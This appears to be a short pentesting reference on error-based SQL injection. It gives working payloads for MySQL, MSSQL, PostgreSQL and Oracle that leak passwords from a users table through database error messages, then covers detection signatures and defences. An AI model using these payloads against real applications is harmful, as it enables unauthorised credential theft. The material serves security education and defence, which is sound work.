Error-based SQL Injection

Error-based SQL injection extracts data when the application does not show the query result but does return the database error messages. It sits between UNION (which needs the result to be reflected) and blind (which gives no signal at all): here the error text itself carries the data we want.

The technique has two flavours. The conditional one triggers an error only when a condition is true (typically a division by zero), turning the error into a boolean oracle:

' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END)-- -

The visible error is more direct: you force a function to fail so the message includes the data. Each engine has its primitive:

-- MySQL: EXTRACTVALUE / UPDATEXML (the 0x7e ~ marks where the data starts)
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 1)))-- -
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1)-- -
-- MySQL: classic floor()/rand() variant (duplicate entry)
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
-- MSSQL / PostgreSQL: CAST/CONVERT of text to int fails and leaks the text
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- -
' AND 1=CONVERT(int,(SELECT TOP 1 password FROM users))-- -    -- MSSQL
-- Oracle: CTXSYS or utl_inaddr leak the data in the error
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT password FROM users WHERE rownum=1))-- -

Requirements. The application must propagate database errors to the response (verbose messages) and the query must allow subqueries. If errors are silenced or generic, this route gives no information and you fall back to blind time-based or boolean.

How to detect it. In the application log the signature is requests triggering repeated 500 errors with suspicious functions (EXTRACTVALUE, UPDATEXML, CAST, CONVERT, 1/0) in a parameter. On the database side, the error log records invalid conversions or divisions by zero from the application account, something a healthy app does not generate in bursts.

Defence. Parameterised queries (never concatenate), do not expose database error messages to the user (generic error pages), and a least-privilege database user. Extracted data, if hashes, still needs breaking: see hash cracking.